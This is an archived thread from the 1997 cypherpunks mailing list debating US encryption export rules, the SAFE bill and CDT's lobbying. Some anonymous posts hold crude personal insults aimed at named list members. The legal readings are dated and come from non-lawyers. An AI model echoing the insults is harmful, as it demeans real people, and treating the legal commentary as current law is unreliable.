>     (d) * * * The EAR also restrict technical assistance by U.S.
> persons with respect to encryption commodities or software.
>

	"Restrict", not prohibit.

	To atone for my sins, I decided to do some searching myself.

	This is actually expanded on in 744.9.

	736.2 (b)(7)(ii) (general prohibition seven) says:

    (ii) You may not, without a license from BXA, provide certain
technical assistance to foreign persons with respect to encryption
items, as described in Sec. 744.9 of the EAR.//

	And in 744.9.
// Sec. 744.9.  Restrictions on technical assistance by U.S.
persons with respect to encryption items.

    (a) General prohibition. No U.S. person may, without a license from
BXA, provide technical assistance (including training) to foreign
persons with the intent to aid a foreign person in the development or
manufacture outside the United States of encryption commodities and
software that, if of United States origin, would be controlled for
``EI'' reasons under ECCN 5A002 or 5D002.

	These ECCNs (whatever that means) is in http://jya.com/774-ccl05.htm.
5A002 is for hardware modules that do encryption functions. 5D002 applies
to software. I won't quote it here, but from my reading it lists
only software designed or modified for certain purposes, such as putting
it in a hardware module, for one.

	The general prohibitions in part 736 does not make any other
references to technical assistance, so I would think this is all
the restriction that is there, but as I said, IANAL, and I haven't
read the whole EAR.
>
> Anil, you'll have to do the research on where in the vast amount of stuff
> on the EARs, the Munitions List, the CCL, etc. this is spelled out. I'm
> done for the evening.

	Good night, Tim. Glad you could find something useful out of
all that wasted time, and glad I could do some searcing for you in return.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 2 May 1997 14:00:24 +0800
To: cypherpunks@toad.com
Subject: Re: Random numbers from the '60's...
Message-ID: <199705020545.BAA25535@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:

> >Who needs a camera and a lava lamp when soundblaster cards with noisy
> >microphone preamps are nearly universal?
> 
> The Lava Lamp is nice and visual, though.
> On the other hand, isn't the noise from blowing on a microphone chaotic,
> due to various turbulence effects?   It's definitely prior art,
> as is hashing the physical-world input data.

  Just give me a microphone and a can of beans, and call me
"Mr. Random" (inventor of the 'corned beef' hash system).

FartMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 2 May 1997 21:05:29 +0800
To: cypherpunks@toad.com
Subject: Cyberstrike
Message-ID: <TCPSMTP.17.5.2.2.49.34.2780269260.1624836@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

May be of interest...

 In> From: cleacy@execulink.com (Chris Leacy)
 In> Newsgroups: comp.infosystems.www.announce
 In> Subject: SOFTWARE: CyberStrike 1.13a Ad filtering/Cookie cutting Proxy
 In> Date: 30 Apr 1997 23:28:43 -0400

 In> CyberStrike: Version 1.13a First Public Release

 In> The first public alpha of CyberStrike was released today.
 In> It can be found at <URL:http://www.execulink.com/~cleacy>

 In> CyberStrike is a banner ad filtering, cookie cutting, HTTP
 In> header overriding proxy of a program.

 In> Whether for privacy concerns, or just to speed up your
 In> browsing, CyberStrike performs admirably well at it's task.

 In> Chris


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM2mQeTltEBIEF0MBAQEbUAf+NQOMPrml38ijLwv8MIPSkTUbtbNQebJy
R4LaeYhXI6Z/OzJdX6AQC2GisxMyPiz3QWWBoAqxGkunWDHbQzDfZVWW6nZa4zLY
do2r11CEWFPba1igX+8JtCm9gd11S8Zlff5Pw5eTYOMcsVSHf6Z/+iAT5aqnIdcb
YU26JswL1MofhWlNhbNXYc/9wQ3uUn1hU3lin+Lujfa5+cXXlTyfz6eFcJlwD7ZY
KdK7UfPMuCeZnUX/VJqBdJ1idXfC5YOlwVMBNIyQK7PgCy59FvP5CiiXhpui7uSj
WijKBSMUsz2HuQIuQJf6zvW/bi5DGWr6PerTXnuVaUkjNHr4Fp13Mg==
=5TtH
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Seth Finkelstein <sethf@MIT.EDU>
Date: Fri, 2 May 1997 17:10:26 +0800
To: Mac Norton <abd@cdt.org>
Subject: Re: SAFE Bill is a Good Thing--"Crypto For The Masses"
Message-ID: <9705020808.AA18096@frumious-bandersnatch.MIT.EDU>
MIME-Version: 1.0
Content-Type: text/plain


>>On Thu, 1 May 1997, Alan Davidson wrote:
>> 2. CDT Does Not Support The Criminal Provision in SAFE

>At 22:09 5/01/97 -0500, Mac Norton wrote:
>I don't get it.  CDT loudly supports the bill. The bill
>contains the criminal provision.  I don't get it.  Do you?

	I keep having bad flashbacks to Digital Telephony, and
pre-CDA. Virtually all the lobbying groups would run around saying
things like "we support this bill, but oppose this provision". Or
convoluted stuff like "We oppose all these bills, but of the measures
being considered, we support this one".
	The pattern is really bothering me.

================
Seth Finkelstein
sethf@mit.edu





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 2 May 1997 21:02:50 +0800
To: cypherpunks@toad.com
Subject: [CRYPTO] ZKP
Message-ID: <199705021127.EAA26541@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy `C' May's aberrant sexual life has negatively impacted his mental 
integrity.

        ,,,
   -ooO(o o)Ooo- Timmy `C' May
         v





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott Renfro" <srenfro@silvix.sirinet.net>
Date: Fri, 2 May 1997 19:15:29 +0800
To: das@razor.engr.sgi.com (Anil Das)
Subject: Re: "restrict technical assistance by U.S. persons with respect
In-Reply-To: <tcmay@got.net>
Message-ID: <199705021015.KAA28827@silvix.sirinet.net>
MIME-Version: 1.0
Content-Type: text/plain


I am anything _but_ a lawyer, but ...

On  2 May 97 at 1:35, Anil Das wrote:
>  These ECCNs (whatever that means) is in http://jya.com/774-ccl05.htm.
> 5A002 is for hardware modules that do encryption functions. 5D002 applies
> to software. I won't quote it here, but from my reading it lists only
> software designed or modified for certain purposes, such as putting it in
> a hardware module, for one.

Filling in the cross-references between 5D002 and 5A002 in the above URL,
I read the following: 
a.  Software having the same characteristics, or performing or simulating
the functions of of equipment designed or modified to use "cryptography"
employing digital or analog techniques to ensure "information security" is
controlled.  
b.  Software designed or modified to use such software is controlled.

This is the clearest control of software "hooks" I have read in the reg.  
The software module performing encryption would fall under control due to 
(a) and the software designed with "hooks" for the encryption module would 
fall under control due to the restriction in (b).

FWIW
Scott





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 2 May 1997 21:08:53 +0800
To: cypherpunks@toad.com
Subject: unSAFE
Message-ID: <Pine.GSO.3.95.970502053413.14481B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 2 May 1997 01:04:17 -0400
From: Michael Sims <jellicle@inch.com>
To: fight-censorship@vorlon.mit.edu
Cc: Jonah Seiger <jseiger@cdt.org>, abd@cdt.org, Tim May <tcmay@got.net>,
    declan@well.com
Subject: unSAFE

Well, I've read Mr. Davidson's defense of the SAFE bill and of course 
Mr. May's earlier argument against it.  A few more comments.


Both analyses (all analyses I've seen) ignore this little fun fun 
tidbit below:

<--QUOTE-->

(a) AMENDMENT TO EXPORT ADMINISTRATION ACT OF 1979. -- Section 17 of
the Export Administration Act of 1979 (50 U.S.C. App. 2416) is amended
by adding at the end thereof the following new subsection: 

"(1) GENERAL RULE.--Subject to paragraphs (2), (3), and (4), the
Secretary shall have exclusive authority to control exports of all
computer hard ware, software, and technology for information security
(including encryption), except that which is specifically designed,
or modified for military use, including command, control, and
intelligence applications. 

"(2) ITEMS NOT REQUIRING LICENSES. -- No validated license may be
required, EXCEPT PURSUANT TO THE TRADING WITH THE ENEMY ACT OR THE
INTERNATIONAL EMERGENCY ECONOMIC POWERS ACT (but only to the extent
that the authority of such Act is not exercised to extend controls
imposed under this Act), for the export or reexport of 

....

(b) CONTINUATION OF EXPORT ADMINISTRATION ACT.-For purposes of
carrying out the amendment made by subsection (a), the Export
Administration Act of 1979 shall be deemed to be in effect.

<--/QUOTE-->

{emphasis added, EXCEPT....ACT}



The Trading with the Enemy Act was passed in 1917 and amended
(importantly) in 1933 (Great Depression, New Deal).  Originally, it
was intended to simply declare that when the nation was at war, it
was total war - the US would not honor any obligations or respect
any rights of citizens of enemy, warring countries.  It specifically
allowed the president to regulate as he wished, during wartime, the
assets and fiscal transactions conducted by an enemy country. 
(Confiscation and all that).  Fair enough, for a WWI era law.

Here how it read.  Recall, this is during a declared war only.

"That the President may investigate, regulate, or prohibit, under
such rules and regulations as he may prescribe, by means of licenses
or otherwise, any transactions in foreign exchange, export or
earmarkings of gold or silver coin or bullion or currency, transfers
of credit in any form (other than credits relating solely to
transactions to be executed wholly within the United States)". 


In 1933 it was amended, hastily, sneakily, back-door-ily, in order
to grant incoming President Roosevelt extraordinary powers over the
money supply of the nation.  It was amended to declare all citizens
of the United States to be "enemies", under its power during any
time of war *or national emergency*.  That is, the "Trading with the
Enemy" act now applied to all citizens of the US and all of their
interpersonal transactions.  Roosevelt declared a national
emergency, and took the country off the gold standard, pumping cash
into the system and ending the depression.  But doing so required
power not earlier available.

Thus the new wording below.  This is now during war *or national 
emergency declared by the president*.

"through any agency that he may designate, or otherwise, investigate,
regulate or prohibit under such rules and regulations as he may
prescribe by means of licenses or otherwise, any transactions in
foreign exchange, transfers of credit between or payments by banking
institutions as defined by the President and export, hoarding,
melting or earmarking of gold or silver coin or bullion or currency
by any person within the United States or anyplace subject to the
jurisdiction thereof." 


Roosevelt of course declared a national emergency and proceeded on 
his way.  However, he declared it in such a way as to make it 
continue until revoked.  This country remains in a state of emergency 
today, and will do so forthe foreseeable future, and the President 
retains the extraordinary powers intended solely for wartime.

These include the total ability to regulate commerce in the United 
States.

I recommend Michael Froomkin's excellent (and lengthy) article on the 
subject at 
http://www.law.miami.edu/~froomkin/articles/planet_clipper.htm.

Although about the Clipper chip, if you go about 60% through the 
article he has a solid discussion of the EAA, IEEPA and the 
presidential power thereunder.  It's 50 U.S.C. Sec. 1701 and 
following.  Section 1702 there has the meat of it.

This Act allows the President, once he has declared a state of 
emergency, to regulate essentially any commerce with another nation, 
except those items directly identified as "speech" - magazines, 
papers, etc.

President Clinton has twice declared a state of emergency regarding 
export control regulations, the latest on August 15, 1996.


Mr. Seiger, Mr. Davidson, I hope that you merely did not understand
the giant, drive-a-truck-through loophole present in this SAFE bill.
By guaranteeing free export EXCEPT pursuant to whatever actions are
taken under the IEEPA or Trading with the Enemy Act, it guarantees
absolutely nothing at all.  Those laws combined provide the President
with complete power to regulate the sale or export of crypto,
anywhere.  This law, Mr. Davidson's assertions notwithstanding,
gives nothing at all while taking a great deal.

Every "right" the SAFE act grants is already possessed.  The law 
also poses severe penalties for using crypto in furtherance of a 
crime.  As an example, I call Crook 2 on my cell phone while 
cruising down the street.  It is later determined that we were 
plotting a bank heist.  Extra five years for using encryption to 
further my crime.  Yep, just a plain old cell phone.  For that 
matter, almost all cordless phones today use an encrypt/decrypt 
routine for their transmissions as well.

Anyone using PGP on their computer?  Crime involved at least one 
email sent for any reason?  Extra five years.  This will hardly 
support the spread of encryption.

It gives law enforcement guaranteed access to keys: an awful
precedent.  Any law enforcement officer or investigative officer
(attornies prosecuting a case) who is empowered to prosecute or
participate in the prosecution of offenses under this act may compel
disclosure of keys.  All one needs is an escrow provision to ensure
that such a key is available for the government to retrieve - and
such a provision is perfectly legal for the president to impose. 
Thus, an FBI agent, who is "empowered" to investigate crimes under
this act, can compel disclosure, by a third party, of your keys -
without cause to even believe an offense has actually been
committed.  Without judicial review.  This will further the spread
of strong crypto?


I freely admit I'm not an expert US export control law, which is
designed to be confusing.  But I believe that all of the privacy and
crypto organizations which have signed on to SAFE are being sold a
bill of goods, a law which says in bold letters "freedom" "freedom"
"prohibition" but provides no freedoms, and does not prohibit key
escrow in any fashion.  I urge you _most strongly_ to consult with
legal experts on these matters and verify that what I have said is
true.  THIS BILL GIVES NOTHING AT ALL AND MAKES USE OF CRYPTO WORTH
FIVE YEARS IN PRISON.  Continued support of this bill by privacy and
crypto advocates is outrageous.  Newsletters supporting this bill by
such organizations have the effect of perpetuating the false
impressions of what this law does and does not do, and need to be
immediately brought in line with reality.  While I am only cc'ing
CDT reps on this matter, I give free permission to forward this post
to any/all other crypto and privacy supporting organizations or
listservs for comment.


-- Michael Sims






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 2 May 1997 23:20:44 +0800
To: cypherpunks@toad.com
Subject: Re: unSAFE (at any speed)
Message-ID: <199705021459.HAA00163@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh got off his knees and pulled up his
pants long enough to forward:

> From: Michael Sims <jellicle@inch.com>
> To: fight-censorship@vorlon.mit.edu
> Subject: unSAFE
 
> Well, I've read Mr. Davidson's defense of the SAFE bill and of course
> Mr. May's earlier argument against it.  A few more comments.

> The Trading with the Enemy Act was passed in 1917 and amended
> (importantly) in 1933 (Great Depression, New Deal).
> It specifically
> allowed the president to regulate as he wished, during wartime, the
> assets and fiscal transactions conducted by an enemy country.
> (Confiscation and all that).  Fair enough, for a WWI era law.
> 
>  Recall, this is during a declared war only.

> In 1933 it was amended, hastily, sneakily, back-door-ily, in order
> to grant incoming President Roosevelt extraordinary powers over the
> money supply of the nation.  It was amended to declare all citizens
> of the United States to be "enemies", under its power during any
> time of war *or national emergency*.  That is, the "Trading with the
> Enemy" act now applied to all citizens of the US and all of their
> interpersonal transactions.

  Amen! Someone who understands that the governement long ago usurped
the power of the voters and has declared the citizens to be the enemy,
putting in place governmental powers that allow the elite to rule the
country according to their personal dictates, no matter what the wishes
of the citizens are.
  The ruling elite (not the people we elect, by the way) let us 
fight vainly over this or that provision of laws and regulations
which cut off our private parts an inch at a time, and then, once
their overt screwing of the citizenry has reached its final limits,
they finish the job behind closed doors, via the dictatorial power
of *national emergency* legislation.

> Thus the new wording below.  This is now during war *or national
> emergency declared by the president*.
> 
> "through any agency that he may designate, or otherwise, investigate,
> regulate or prohibit under such rules and regulations as he may
> prescribe <...>
> Roosevelt of course declared a national emergency and proceeded on
> his way.  However, he declared it in such a way as to make it
> continue until revoked.  This country remains in a state of emergency
> today, and will do so forthe foreseeable future, and the President
> retains the extraordinary powers intended solely for wartime.
 
> These include the total ability to regulate commerce in the United
> States.

  'We the sheeple' would be outraged if the government entered our
homes and businesses and forced us into compliance with their wishes
at gunpoint.
  So they do it with financial guns, in an age where money=survival,
and the average joe's mind has been so conditioned to financial rule
that the Money Gods are deemed to be invincible paragons of 'right
thinking.'
  No matter how obvious it is that the government is using our own
money to screw us, we still feel that we are 'bad people' if we 
don't pay our taxes. We feel like we are truly guilty criminals
if we resist participating in our own oppression.

> I recommend Michael Froomkin's excellent (and lengthy) article on the
> subject at
> http://www.law.miami.edu/~froomkin/articles/planet_clipper.htm.
> 
> Although about the Clipper chip, if you go about 60% through the
> article he has a solid discussion of the EAA, IEEPA and the
> presidential power thereunder.  It's 50 U.S.C. Sec. 1701 and
> following.  Section 1702 there has the meat of it.
> 
> This Act allows the President, once he has declared a state of
> emergency, to regulate essentially any commerce with another nation,
> except those items directly identified as "speech" - magazines,
> papers, etc.

  And if he declares a "Jaywalking Violators National Emergency"
with far-reaching consequences, it will get a small blurb on the
back pages of the major print media, if anything.
  Declan (bless his D.C. journalist ass) might speak up about the
dangers of the action, but is unlikely to be heard by the people
at the shopping malls, where most Americans live.

> Every "right" the SAFE act grants is already possessed.  The law
> also poses severe penalties for using crypto in furtherance of a
> crime.

  How long until we have a new law which "grants" us the right to
breathe, but makes breathing in furtherance of a crime subject to
severe penalties?

> Anyone using PGP on their computer?  Crime involved at least one
> email sent for any reason?  Extra five years.  This will hardly
> support the spread of encryption.
> 
> It gives law enforcement guaranteed access to keys: an awful
> precedent.  Any law enforcement officer or investigative officer
> (attornies prosecuting a case) who is empowered to prosecute or
> participate in the prosecution of offenses under this act may compel
> disclosure of keys.  All one needs is an escrow provision to ensure
> that such a key is available for the government to retrieve - and
> such a provision is perfectly legal for the president to impose.
> Thus, an FBI agent, who is "empowered" to investigate crimes under
> this act, can compel disclosure, by a third party, of your keys -
> without cause to even believe an offense has actually been
> committed.  Without judicial review.  This will further the spread
> of strong crypto?

  The end result? We can *still* use strong crypto, but *now* it 
will cost us five years of our life to do so, unless we give up
our keys, which negates the use of crypto in the first place.

  I used to love Garner Ted Armstrong talking about missionaries
who travelled to obscure corners of the earth in order to *save*
people by telling them about Jesus.
  He would ask them what happened if a particular individual died
before the missionary arrived, and thus never got a chance to hear
about Jesus? Would they burn in hell, as a result.
  The missionaries would explain that, since they never got a 
chance to hear about Jesus, that they would go to heaven by default,
since God wouldn't punish them with everlasting fire just because
they never had a chance to be *saved*.
  Garner Ted would then point out that the missionaries where thus
not giving the individual a chance to go to *heaven*, since they
were going there anyway, by default, but were, in fact, giving the
individual a chance to go to *hell*.

  I think about this every time that I hear about a new piece of
government legislation designed to *save* me from this-or-that
evil/hell.

> THIS BILL GIVES NOTHING AT ALL AND MAKES USE OF CRYPTO WORTH
> FIVE YEARS IN PRISON.  Continued support of this bill by privacy and
> crypto advocates is outrageous.

  Yes, but the reality of life is that reasonable people learn that
they need to compromise...and compromise...and compromise...and 
compromise...and compromise...and compromise...and compromise...
  "HEY! WHERE DID ALL OF MY FREEDOM AND PRIVACY GO?!?"

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Fri, 2 May 1997 23:49:30 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: unSAFE
Message-ID: <3.0.32.19691231160000.006bbf9c@best.com>
MIME-Version: 1.0
Content-Type: text/plain


comment, though, on this caveat in the paragraphs you indicate:

   "(2) ITEMS NOT REQUIRING LICENSES. ...
(but only to the extent that the authority of such Act is not exercised to
extend controls imposed
    under this Act) .... "

Seems to me that it says "the administration can still control xyz under
the EAA, TWE, EEP, etc but not if such control extends the controls defined
under HR695 SAFE"

Looks like language to assuage the powers that be, while it creates
AMBIGUITY and the need for interpretation (AKA court intervention) when
some administration tries to overstep it's bounds.  I don't think that's
necessarily bad, since legislation has never existed that is ironclad 
anyway: it's always subject to some runaway Attorney General getting weird,
as we have seen plenty of times.

<usual caveats go here> 


At 05:34 AM 5/2/97 -0700, Declan McCullagh wrote:
>
>
>---------- Forwarded message ----------
>Date: Fri, 2 May 1997 01:04:17 -0400
>From: Michael Sims <jellicle@inch.com>
>To: fight-censorship@vorlon.mit.edu
>Cc: Jonah Seiger <jseiger@cdt.org>, abd@cdt.org, Tim May <tcmay@got.net>,
>    declan@well.com
>Subject: unSAFE
>
>Well, I've read Mr. Davidson's defense of the SAFE bill and of course 
>Mr. May's earlier argument against it.  A few more comments.
>
>
>Both analyses (all analyses I've seen) ignore this little fun fun 
>tidbit below:
>
><--QUOTE-->
>
>(a) AMENDMENT TO EXPORT ADMINISTRATION ACT OF 1979. -- Section 17 of
>the Export Administration Act of 1979 (50 U.S.C. App. 2416) is amended
>by adding at the end thereof the following new subsection: 
>
>"(1) GENERAL RULE.--Subject to paragraphs (2), (3), and (4), the
>Secretary shall have exclusive authority to control exports of all
>computer hard ware, software, and technology for information security
>(including encryption), except that which is specifically designed,
>or modified for military use, including command, control, and
>intelligence applications. 
>
>"(2) ITEMS NOT REQUIRING LICENSES. -- No validated license may be
>required, EXCEPT PURSUANT TO THE TRADING WITH THE ENEMY ACT OR THE
>INTERNATIONAL EMERGENCY ECONOMIC POWERS ACT (but only to the extent
>that the authority of such Act is not exercised to extend controls
>imposed under this Act), for the export or reexport of 
>
>....
>
>(b) CONTINUATION OF EXPORT ADMINISTRATION ACT.-For purposes of
>carrying out the amendment made by subsection (a), the Export
>Administration Act of 1979 shall be deemed to be in effect.
>
><--/QUOTE-->
>
>{emphasis added, EXCEPT....ACT}
>
>
... etc ...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 2 May 1997 22:49:38 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [CRYPTO] ZKP
In-Reply-To: <199705021127.EAA26541@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970502083414.27468B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 2 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy `C' May's aberrant sexual life has negatively impacted his mental 
> integrity.
> 
>         ,,,
>    -ooO(o o)Ooo- Timmy `C' May
>          v
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Fri, 2 May 1997 23:58:13 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Made a Mistake! Re: unSAFE
Message-ID: <3.0.32.19691231160000.006c0aa0@best.com>
MIME-Version: 1.0
Content-Type: text/plain


I wrote
---
comment, though, on this caveat in the paragraphs you indicate:

   "(2) ITEMS NOT REQUIRING LICENSES. ...
(but only to the extent that the authority of such Act is not exercised to
extend controls imposed
    under this Act) .... "

Seems to me that it says "the administration can still control xyz under
the EAA, TWE, EEP, etc but not if such control extends the controls defined
under HR695 SAFE"

Looks like language to assuage the powers that be, while it creates
AMBIGUITY and the need for interpretation (AKA court intervention) when
some administration tries to overstep it's bounds.  I don't think that's
necessarily bad, since legislation has never existed that is ironclad 
anyway: it's always subject to some runaway Attorney General getting weird,
as we have seen plenty of times.

<usual caveats go here> 
---

but THEN noticed the paragraph is attached to the EAA, not SAFE.
Never mind.
SAFE looks more ominous ....








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 2 May 1997 21:07:31 +0800
To: cypherpunks@toad.com
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal (fwd)
Message-ID: <Pine.LNX.3.95.970502084319.13849A-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 1 May 1997 18:44:47 -0400 (EDT)
From: Charles Platt <cp@panix.com>
To: fight-censorship@vorlon.mit.edu
Cc: Charles Platt <cp@panix.com>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal

> From: Jonah Seiger <jseiger@cdt.org>
> However, despite our concerns about the criminal provisions, we believe
> strongly that the SAFE bill, and the bills in the Senate sponsored by Burns
> and Leahy, are vitally important and should be passed.

This kind of "pragmatism" is precisely why I have no faith whatsoever in
CDT. There's a slippery slope, here, that really IS a slippery slope. As
soon as you agree with the principle that the legislators can and SHOULD
pass laws in a certain area, you risk losing large chunks of freedom. 
Conversely, so long as the area remains sacrosanct, free of legislation
(e.g. the content of private mail), the situation remains clear and clean.
Once you have one law, naturally some special-interest group will
complain, some lobbyists will have their own ideas, some other legislators
will see an opportunity to extend/clarify/amend/expand the legislation,
and before you know it, you've got the war on drugs or something similar, 
costing billions, depriving relatively innocent people of their liberty, 
and achieving nothing.

I absolutely agree with Tim May. There is no excuse for introducing 
legislation to control something fundamentally harmless that is not 
currently controlled. More legislation is absolutely the LAST thing this 
country needs.

> Congress needs to stand up to the Administration and say, with a strong
> voice, "your policy is a failure - we need a different solution".  That's
> what SAFE, Pro-CODE, and ECPA II do.

For some reason I have difficulty trusting Congress to protect my rights 
in this matter, or in any other matter. Those who seek help from 
government should recall Barry Goldwater's famous quote, which went 
something like this: "When you have a government big enough to give you 
everything you want, it's big enough to take it all away."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 2 May 1997 21:05:29 +0800
To: cypherpunks@toad.com
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal (fwd)
Message-ID: <Pine.LNX.3.95.970502084453.13849B-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 1 May 1997 19:43:07 -0400
From: Jonah Seiger <jseiger@cdt.org>
To: Charles Platt <cp@panix.com>, fight-censorship@vorlon.mit.edu
Cc: Charles Platt <cp@panix.com>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal

At 6:44 PM -0400 5/1/97, Charles Platt wrote:

>From: Jonah Seiger <jseiger@cdt.org>
>> Congress needs to stand up to the Administration and say, with a strong
>> voice, "your policy is a failure - we need a different solution".  That's
>> what SAFE, Pro-CODE, and ECPA II do.
>
>For some reason I have difficulty trusting Congress to protect my rights
>in this matter, or in any other matter. Those who seek help from
>government should recall Barry Goldwater's famous quote, which went
>something like this: "When you have a government big enough to give you
>everything you want, it's big enough to take it all away."

This is exactly the point.

The Administration continues to push for a government-designed global
key-recovery encryption policy that would, in the words of Grover Norquist
(head of the conservative Americans for Tax Reform and supporter of SAFE),
"force all Americans to go to bed at night with their doors unlocked and
their car keys in the ignition".

It's been 4 years of it - in various forms, the most recent being the first
serious proposal in history to impose DOMESTIC RESTRICTIONS on the ability
of American Citizens to protect their privacy on American soil.

The FBI, NSA, DOJ and the Clinton Administration want guaranteed law
enforcement access to private encryption keys.  That's what we are fighting
against.

All of us have been screaming (rightly) about Clipper and it's various
mutant offspring from the beginning. Congress has at last gotten the
message and is aggressively taking the lead -- 3 bills designed to relax
government regulation of encryption technologies and prohibit the
government from imposing key escrow or key recovery inside the US.

I too share your skepticism about trusting Congress to solve all our
problems.  They didn't give us much reason to when they passed the CDA. And
even in the best of circumstances, legislation is rarely "perfect". But in
this case I honestly believe the sponsors of SAFE (78) and Pro-CODE (21)
have got it basically right.

The administration clearly has it totally wrong.

We have a long way to go yet before this debate is over, and I suspect the
Administration has a few more tricks left up its sleve. We owe it to our
allies in Congress, and to the issues we say we believe in as participants
on this list, to give this our best effort.

Call that 'pragmatism' if you want.  We have never considered that to be a
derogatory term.

Jonah

--
Jonah Seiger, Communications Director                  (v) +1.202.637.9800
Center for Democracy and Technology                 pager: +1.202.859.2151
<jseiger@cdt.org>

http://www.cdt.org                                      PGP Key via finger
http://www.cdt.org/jseiger/

  * Value Your Privacy? The Governmet Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crytpo.com/adopt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 2 May 1997 21:10:52 +0800
To: "Shabbir J. Safdar" <shabbir@vtw.org>
Subject: Re: SAFE Bill discussion
In-Reply-To: <v0300782faf8eae00618f@[166.84.253.73]>
Message-ID: <Pine.LNX.3.95.970502084644.13849C-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Two quick points:

* I think the discussion centered around CDT since they put out a policy
post a few hours after the SAFE markup earlier this week, and that policy
post was well-circulated online.

* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
letter to the House subcommittee on April 29 urging that SAFE be approved
without any changes? (I'm in Oklahoma right now and I have a copy of that
letter in my office in DC, but that's what I remember.) 

-Declan


On Thu, 1 May 1997, Shabbir J. Safdar wrote:

> The Administration hates this bill, because it threatens their ability to
> roll out Key Recovery.  They've said as much in the letter Declan forwarded:
> 
>    "The bill could be read as prohibiting the United States government
>     from using appropriate incentives to support a key management
>     infrastructure and KEY RECOVERY." [emphasis added]
> 
> Do you think that if this bill helped the Administration, that they'd be
> out there urging the subcommittee chairman to stop it?  I think not.
> 
> I'm also puzzled by the fact that CDT is being criticized pretty much
> solely, even though the entire Internet Privacy Coalition, and several
> other groups all wrote a letter of support of the bill with only a
> criticism of one provision.  However the overall statement was of support.
> (see http://www.privacy.org/ipc/safe_letter.html)
> 
> As far as I can tell, everyone criticizing the bill either thinks that:
> 
> 	a) CDT actually runs all these groups behind the scenes, or
> 	b) pretty much all of the Internet advocates believe that this bill
>            is needed and are doing the best they can with what Congress has
>            written.
> 
> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
> Reform, the Association for Computing Machinery, Computer Professionals for
> Social Responsiblity, Eagle Forum, the National Association for Criminal
> Defense Lawyers, and PGP Inc all signed this letter.
> 
